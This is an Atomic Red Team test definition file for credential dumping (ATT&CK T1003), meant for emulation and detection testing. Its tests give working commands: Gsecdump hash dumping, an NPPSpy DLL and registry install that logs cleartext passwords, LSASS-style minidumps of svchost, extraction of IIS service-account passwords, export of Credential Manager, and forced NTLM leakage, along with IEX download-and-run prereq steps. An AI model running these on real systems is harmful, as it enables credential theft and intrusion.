Dump Credential Manager using keymgr.dll and rundll32.exe

Raw rule

attack_technique: T1003
display_name: OS Credential Dumping
atomic_tests:

- name: Gsecdump
  auto_generated_guid: 96345bfc-8ae7-4b6a-80b7-223200f24ef9
  description: |
    Dump credentials from memory using Gsecdump.

    Upon successful execution, you should see domain\username's followed by two 32 character hashes.

    If you see output that says "compat: error: failed to create child process", execution was likely blocked by Anti-Virus. 
    You will receive only error output if you do not run this test from an elevated context (run as administrator)

    If you see a message saying "The system cannot find the path specified", try using the get-prereq_commands to download and install Gsecdump first.
  supported_platforms:
  - windows
  input_arguments:
    gsecdump_exe:
      description: Path to the Gsecdump executable
      type: path
      default: PathToAtomicsFolder\..\ExternalPayloads\gsecdump.exe
    gsecdump_bin_hash:
      description: File hash of the Gsecdump binary file
      type: string
      default: 94CAE63DCBABB71C5DD43F55FD09CAEFFDCD7628A02A112FB3CBA36698EF72BC
    gsecdump_url:
      description: Path to download Gsecdump binary file
      type: url
      default: https://web.archive.org/web/20150606043951if_/http://www.truesec.se/Upload/Sakerhet/Tools/gsecdump-v2b5.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Gsecdump must exist on disk at specified location (#{gsecdump_exe})
    prereq_command: |
      if (Test-Path "#{gsecdump_exe}") {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      $parentpath = Split-Path "#{gsecdump_exe}"; $binpath = "$parentpath\gsecdump-v2b5.exe"
      IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
      if(Invoke-WebRequestVerifyHash "#{gsecdump_url}" "$binpath" #{gsecdump_bin_hash}){
        Move-Item $binpath "#{gsecdump_exe}"
      }
  executor:
    command: |
      "#{gsecdump_exe}" -a
    name: command_prompt
    elevation_required: true

- name: Credential Dumping with NPPSpy
  auto_generated_guid: 9e2173c0-ba26-4cdf-b0ed-8c54b27e3ad6
  description: |-
    Changes ProviderOrder Registry Key Parameter and creates Key for NPPSpy.
    After user's logging in cleartext password is saved in C:\NPPSpy.txt.
    Clean up deletes the files and reverses Registry changes.
    NPPSpy Source: https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: NPPSpy.dll must be available in ExternalPayloads directory
    prereq_command: if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll") {exit 0} else {exit 1}
    get_prereq_command: |-
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
      Invoke-WebRequest -Uri https://github.com/gtworek/PSBits/raw/f221a6db08cb3b52d5f8a2a210692ea8912501bf/PasswordStealing/NPPSpy/NPPSPY.dll -OutFile "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll"
  executor:
    command: |-
      Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\NPPSPY.dll" -Destination "C:\Windows\System32"
      $path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
      $UpdatedValue = $Path.PROVIDERORDER + ",NPPSpy"
      Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue
      $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy -ErrorAction Ignore
      $rv = New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -ErrorAction Ignore
      $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Class" -Value 2 -ErrorAction Ignore
      $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "Name" -Value NPPSpy -ErrorAction Ignore
      $rv = New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\NPPSPY.dll" -ErrorAction Ignore
      echo "[!] Please, logout and log back in. Cleartext password for this account is going to be located in C:\NPPSpy.txt"
    cleanup_command: |-
      $cleanupPath = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER
      $cleanupUpdatedValue = $cleanupPath.PROVIDERORDER 
      $cleanupUpdatedValue = $cleanupUpdatedValue -replace ',NPPSpy',''
      Set-ItemProperty -Path $cleanupPath.PSPath -Name "PROVIDERORDER" -Value $cleanupUpdatedValue
      Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NPPSpy" -Recurse -ErrorAction Ignore
      Remove-Item C:\NPPSpy.txt -ErrorAction Ignore
      Remove-Item C:\Windows\System32\NPPSpy.dll -ErrorAction Ignore
    name: powershell
    elevation_required: true

- name: Dump svchost.exe to gather RDP credentials
  auto_generated_guid: d400090a-d8ca-4be0-982e-c70598a23de9
  description: |
    The svchost.exe contains the RDP plain-text credentials.
    Source: https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/

    Upon successful execution, you should see the following file created $env:TEMP\svchost-exe.dmp.
  supported_platforms:
  - windows
  executor:
    command: |
      $ps = (Get-NetTCPConnection -LocalPort 3389 -State Established -ErrorAction Ignore)
      if($ps){$id = $ps[0].OwningProcess} else {$id = (Get-Process svchost)[0].Id }
      C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump $id $env:TEMP\svchost-exe.dmp full
    cleanup_command: |
      Remove-Item $env:TEMP\svchost-exe.dmp -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using list)
  auto_generated_guid: 6c7a4fd3-5b0b-4b30-a93e-39411b25d889
  description: |-
    AppCmd.exe is a command line utility which is used for managing an IIS web server. The list command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
    [Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: IIS must be installed prior to running the test
    prereq_command: if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}
    get_prereq_command: |-
      Install-WindowsFeature -name Web-Server -IncludeManagementTools
  executor:
    command: |-
      C:\Windows\System32\inetsrv\appcmd.exe list apppool /@t:*
      C:\Windows\System32\inetsrv\appcmd.exe list apppool /@text:*
      C:\Windows\System32\inetsrv\appcmd.exe list apppool /text:*
    name: powershell
    elevation_required: true
- name: Retrieve Microsoft IIS Service Account Credentials Using AppCmd (using config)
  auto_generated_guid: 42510244-5019-48fa-a0e5-66c3b76e6049
  description: |-
    AppCmd.exe is a command line utility which is used for managing an IIS web server. The config command within the tool reveals the service account credentials configured for the webserver. An adversary may use these credentials for other malicious purposes.
    [Reference](https://twitter.com/0gtweet/status/1588815661085917186?cxt=HHwWhIDUyaDbzYwsAAAA)
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: IIS must be installed prior to running the test
    prereq_command: if ((Get-WindowsFeature Web-Server).InstallState -eq "Installed") {exit 0} else {exit 1}
    get_prereq_command: |-
      Install-WindowsFeature -name Web-Server -IncludeManagementTools
  executor:
    command: |-
      C:\Windows\System32\inetsrv\appcmd.exe list apppool /config
    name: powershell
    elevation_required: true

- name: Dump Credential Manager using keymgr.dll and rundll32.exe
  auto_generated_guid: 84113186-ed3c-4d0d-8a3c-8980c86c1f4a
  description: |-
    This test executes the exported function `KRShowKeyMgr` located in `keymgr.dll` using `rundll32.exe`. It opens a window that allows to export stored Windows credentials from the credential manager to a file (`.crd` by default). The file can then be retrieved and imported on an attacker-controlled computer to list the credentials get the passwords. The only limitation is that it requires a CTRL+ALT+DELETE input from the attacker, which can be achieve multiple ways (e.g. a custom implant with remote control capabilities, enabling RDP, etc.).
    Reference: https://twitter.com/0gtweet/status/1415671356239216653
  supported_platforms:
  - windows
  executor:
    command: rundll32.exe keymgr,KRShowKeyMgr
    name: powershell

- name: Send NTLM Hash with RPC Test Connection
  auto_generated_guid: 0b207037-813c-4444-ac3f-b597cf280a67
  description: |-
    RpcPing command can be used to send an RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process. 
    Ref: https://twitter.com/vysecurity/status/974806438316072960
  supported_platforms:
  - windows
  input_arguments:
    custom_port:
      description: Specify the custom port number
      type: integer
      default: "1234"
    server_ip:
      description: Specify the server IP address. If not specified, the loop back IP will be used
      type: string
      default: 127.0.0.1
  executor:
    command: "rpcping -s #{server_ip} -e #{custom_port} -a privacy -u NTLM 1>$Null"
    name: powershell
    elevation_required: false